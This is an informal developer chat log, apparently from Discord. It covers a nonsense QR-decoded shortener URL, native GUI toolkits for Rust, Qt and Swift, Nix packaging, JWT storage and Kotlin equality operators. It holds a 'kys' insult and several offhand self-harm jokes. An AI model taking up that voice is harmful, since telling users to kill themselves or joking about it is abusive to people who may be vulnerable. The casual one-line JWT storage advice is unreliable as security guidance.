HTTPS://MY-QR.ART/R/$ORB 5RD FAA HRD IRAW6F.92IYV*I2$OIA 5TP LR7DSS794ICH-K2II F4R93I9 F4O/AN+A HF $R499I6 JRDHS IKLRDAVRD $R4A 15TDJFRD IF- IIY II2 IIAZ$/AR494++ ILR8PU6%VR7HF II98HIEZVI791L2P1I2$OIALLLT LQXDTI6 IRCDTCN0PRD HSDOKAYI94OIIY6528UI9 DZ$/9I9A 4O $N+99HSP297 II98UI9Y HF/ARAQ7V*I994I994TQ94QX94RK6$ IHF JR40P+/8 ZCICKL6$94W:DTI994IAYVTQ94Q$DORK944MGM4P94Q.VJHMQ7RD II994P5++ $RD94S72DRDYVRG99HF DRD/AS7554O $QX97 V94R494RD $N$Y H-DT LRD HRD IRD IF- IIY+/94N+99I92DRDYIRERD%RRDYVRE94RD $RDY*RD DRJ I4O JRLO.IA ILS8.S0 III$RIA 5TQR4A I6 ILR99I92CIIYV+/8UI9 DS793I9A 4OZCAA IHF II9A II $Q795DTI991I92CI994I98UI997 II6 II9 DRD/A8/9U95HJ II9 II72CH*A$5I8UIB99I993H%I65B$0N-9 +58X%L94REXPUU 72DRDYVRG8ULR DRD/9II I4O $N+ IHF JR4AA J94RD94RD JR40P+.H-E+RD JRD L-N ILR IS8 IKLRDYVRG94N+99H-DTU0I994RF$NRG94RD LN1+HRDYV%P9IRD LP*4QLR I4NQXCK/7I9DORQQ7 DS793I9A 4R8/CN99HF/AR494++ $RD94N+2D94R*I98UI994RD/9IIZ$$ORK94I994RE94QX94RD$ORFI92CI994++8ULMRAEZRD II6V%RI II9BA%V91I999I2YVI994TP OQUV%RJJFRC EF- PQXI8IFN+ IHF JR4A A6 IL.99I92CLR6B+/8ULR+1R*I9RD I4O II999HF J7RHF II2 II6 II8 II92CI9AA DRD III I4O/37/I994R491I994RDKLRC9URFYVRDV*H: DIA 5TQ7/FGDSRK93RC93I8 OZ$YM $RD94SW2DRD/ATN5$LR DS78WII I4R94N+RD V93I994RD8ULR99HF%V94RDV%RD$ORD 5RD LRD:
Yo it actually works
As I guessed it's a URL shortener
HTTPS://MY-QR.ART/R/$ORB 5RD FAA HRD IRAW6F.92IYVI2$OIA 5TP LR7DSS794ICH-K2II F4R93I9 F4O/AN+A HF $R499I6 JRDHS IKLRDAVRD $R4A 15TDJFRD IF- IIY II2 IIAZ$/AR494++ ILR8PU6%VR7HF II98HIEZVI791L2P1I2$OIALLLT LQXDTI6 IRCDTCN0PRD HSDOKAYI94OIIY6528UI9 DZ$/9I9A 4O $N+99HSP297 II98UI9Y HF/ARAQ7VI994I994TQ94QX94RK6$ IHF JR40P+/8 ZCICKL6$94W:DTI994IAYVTQ94Q$DORK944MGM4P94Q.VJHMQ7RD II994P5++ $RD94S72DRDYVRG99HF DRD/AS7554O $QX97 V94R494RD $N$Y H-DT LRD HRD IRD IF- IIY+/94N+99I92DRDYIRERD%RRDYVRE94RD $RDYRD DRJ I4O JRLO.IA ILS8.S0 III$RIA 5TQR4A I6 ILR99I92CIIYV+/8UI9 DS793I9A 4OZCAA IHF II9A II $Q795DTI991I92CI994I98UI997 II6 II9 DRD/A8/9U95HJ II9 II72CHA$5I8UIB99I993H%I65B$0N-9 +58X%L94REXPUU 72DRDYVRG8ULR DRD/9II I4O $N+ IHF JR4AA J94RD94RD JR40P+.H-E+RD JRD L-N ILR IS8 IKLRDYVRG94N+99H-DTU0I994RF$NRG94RD LN1+HRDYV%P9IRD LP4QLR I4NQXCK/7I9DORQQ7 DS793I9A 4R8/CN99HF/AR494++ $RD94N+2D94RI98UI994RD/9IIZ$$ORK94I994RE94QX94RD$ORFI92CI994++8ULMRAEZRD II6V%RI II9BA%V91I999I2YVI994TP OQUV%RJJFRC EF- PQXI8IFN+ IHF JR4A A6 IL.99I92CLR6B+/8ULR+1RI9RD I4O II999HF J7RHF II2 II6 II8 II92CI9AA DRD III I4O/37/I994R491I994RDKLRC9URFYVRDVH: DIA 5TQ7/FGDSRK93RC93I8 OZ$YM $RD94SW2DRD/ATN5$LR DS78WII I4R94N+RD V93I994RD8ULR99HF%V94RDV%RD$ORD 5RD LRD:
This link works lol
Sorry for spam
Should redirect to https://pudim.com.br is the URL I made the qr on
my desktop ocr program gives this
HTTPS://MY-QR.ART/R/$ORB 5RD FAA HRD IRAW6F.92IYV*I2$OIA 5TP LR7DSS794ICH-K2II F4R93I9 F4O/AN+A HF $R499I6 JRDHS IKLRDAVRD $R4A 15TDJFRD IF- IIY II2 IIAZ$/AR494++ ILR8PU6%VR7HF II98HIEZVI791L2P1I2$OIALLLT LQXDTI6 IRCDTCN0PRD HSDOKAYI94OIIY6528UI9 DZ$/9I9A 4O $N+99HSP297 II98UI9Y HF/ARAQ7V*I994I994TQ94QX94RK6$ IHF JR40P+/8 ZCICKL6$94W:DTI994IAYVTQ94Q$DORK944MGM4P94Q.VJHMQ7RD II994P5++ $RD94S72DRDYVRG99HF DRD/AS7554O $QX97 V94R494RD $N$Y H-DT LRD HRD IRD IF- IIY+/94N+99I92DRDYIRERD%RRDYVRE94RD $RDY*RD DRJ I4O JRLO.IA ILS8.S0 III$RIA 5TQR4A I6 ILR99I92CIIYV+/8UI9 DS793I9A 4OZCAA IHF II9A II $Q795DTI991I92CI994I98UI997 II6 II9 DRD/A8/9U95HJ II9 II72CH*A$5I8UIB99I993H%I65B$0N-9 +58X%L94REXPUU 72DRDYVRG8ULR DRD/9II I4O $N+ IHF JR4AA J94RD94RD JR40P+.H-E+RD JRD L-N ILR IS8 IKLRDYVRG94N+99H-DTU0I994RF$NRG94RD LN1+HRDYV%P9IRD LP*4QLR I4NQXCK/7I9DORQQ7 DS793I9A 4R8/CN99HF/AR494++ $RD94N+2D94R*I98UI994RD/9IIZ$$ORK94I994RE94QX94RD$ORFI92CI994++8ULMRAEZRD II6V%RI II9BA%V91I999I2YVI994TP OQUV%RJJFRC EF- PQXI8IFN+ IHF JR4A A6 IL.99I92CLR6B+/8ULR+1R*I9RD I4O II999HF J7RHF II2 II6 II8 II92CI9AA DRD III I4O/37/I994R491I994RDKLRC9URFYVRDV*H: DIA 5TQ7/FGDSRK93RC93I8 OZ$YM $RD94SW2DRD/ATN5$LR DS78WII I4R94N+RD V93I994RD8ULR99HF%V94RDV%RD$ORD 5RD LRD:
Weird that this bot can read the qr but the web qr reader and Google lens don't detect it
probably uses the same underlying lib for detecting qr codes
@woven mesa im cryin
This is so cool I'll make a WhatsApp bot for this
hey rustcells, what is a good native UI for apps in rust
looking for something that is cross platform, both windows and linux
don’t use rust
kotlin is pure pain
Qt with cpp is perfection
cba to learn electron
compiles on windows 

and linux
why husk @jade stone
dude, I was simply asking gpt and learning how to use a markov library which i didnt even know what was before
I don't get it
i dont care about that
i just dont want something like tauri
if i did want something that looks native
what should i use
does wxwidgets have linux support
i wanted to use compose but i ran into a fucking so error that makes no sense
it says libgl not found
but
it's found with ldd
i'm trying qt but it makes no fucking sense
could be weird nix issue
maybe, but i'm not sure
jvmRunHot
works fine
also you don't need to censor nix anymore
but running the jar myself just doesn't
i'm aware
it hasn't been blocked for a while now
i think it's somewhat funny tho
also i'm running it from a wrapper that emulates a non-nix file system
(see that libgl is found at /lib/libgl)
idk I never did development on linux
does swiftcrossui have support for system apis (tray, clipboard, etc...)
c++ interop, i thought it only had objc interop
?
that's really cool
can it call mangled c++ functions
@young flicker send swift project template
can't just move over several hundred gigabytes of data to linux
case sensitivity is different
and when my pc was set up several years ago i wasn't smart enough to disable the automatic onedrive shit
so a lot of my stuff is in some weird onedrive folder thing that linux can't deal with
would rather kill myself
im fine with using windows as primary and fedora as secondary
its what my pc came with
A small utility to modify the dynamic linker and RPATH of ELF executables - NixOS/patchelf
since when wasnt patchelf from binutils
oh there's only https://www.man7.org/linux/man-pages/man1/elfedit.1.html
wasn't patchelf created by nixos or am i crazy
i just cant believe nix would do something actually good
@young flicker why does swift use llvm 15
just what shipped with nixpkgs
@young flicker does swift cli have completions
@young flicker i love packaging swift-bundler
for nix
@young flicker what
what is this language
ts is fucked
your language is fucked when the compiler doesn't even work
Try freya
I had good experience with Qt
cute
how should i save jwt token in my frontend? do i just put it into a cookie
Its native gui
depends on your definition of native
in this case in only seems native in the sense of using native code
still gotta do keybinds
if u wanna do that lmk
u seem to know more about that than me
I did a lot for clipper/copyboard already rn I’m just working on the stuff I want added
unless they randomly pop up native dialog boxes which look out of place with the rest of the ui 
vscode my beloved
- keybinds
- idk some storage options for automatic deletion
- maybe an option to keep it in memory
- drag and drop
- some customization options
- sounds/notifications
- automatic updates for release builds
- make the cell classes more manageable instead of copy paste
- html preview whitelist
- improve clipboarddidchange
I think that’s all
and ofc fix bugs
Cookie or localstorage both work
Where's the liquid ass
Can I get a build of this please 🥹
yeah that was made in like 2005 iirc
people already dont remember vine pranks with liquid ass
i'll buy liquid ass for you 
You use Qt creator to code app, Qt Designer to create UI for it
You can use either .ui or QML , its mainly preference. .ui is supposed to be edited with Qt designer, and QML is supposed to be written manually
You can choose any template depending on your use-case
I know C++ pretty well so maybe thats why I have figured out it quickly
Qt Creator is for writing C++ code, Qt Designer is for creating UI. Qt designer is integrated into Qt creator though
Yes
no thanks and stop asking
@valid jetty i paid 465$ for a zsa voyager and now i literally cant afford rent
- no rust
there your problems are fixed
Unironically c++ with Qt is nice to work with
will prison launcher ever get Rust rewrite @winged mantle
other maintainers are tempted by rust interop 🤮
though it is nice because if I want to avoid doing something I can just say we can fix it when we rewrite this part in rust which will never happen
so bad
i think that rust was a mistake
whoooo caresssss just write good code
honestly i think rust has it's place and c++ also drives me insane sometimes
but its not great for ui...
everything that has anything to do with native ui makes me want to kill myself the entire ecosystem is horrible
it says a lot that a bunch of things are still being made in fucking winforms just cuz its actually easy even if it sucks
generally if a language does not use gc it drives me insane i love gc
i guess c++ and rust technically support gc
isn't imgui easy
the last time i used Qt with python it had a 50% chance to segfault depending on the system
sure but i also dont want my apps to look like they are stuck in programmer art
comparable to winforms definitely
wrap everything around Rc<>
i wonder how much control you have over the rendering
not much
it's funny how much i manually do even tasks which ai actually would be perfect for
kys
use aqt
i just switched from valibot to zod in my project 
i feel zod is a lot cleaner in terms of syntax and i think it also has jit now
i just used brew 
it even has a lite version which is smaller in terms of bundle size
zod v4 is so good
i jjust use xbps
you are cooked
i dont regret it
thats funny
this isnt js!

Why you are using !== in Java then
it's not java!
What is it then
kotlin
kotlin is in the Java family
Oh til kotlin has !==
Thankfully its not insane as javascripts !==
!= is Object.equals
=== is java ==
@valid jetty have u see the foraging update
since they announced foraging update i got sa 55, cata 50, quit sb, got a wife, 2 kids, a house, and a herd of 220 mountain goats
ok i lied i dont have 220 mountain goats
only 190
@spark tiger
its too silent i cant hear it 
!== is reference equality
turn up ur volume
also the reference should be the same i think
you should never use reference equality unless you absolutely know for certain how everything works




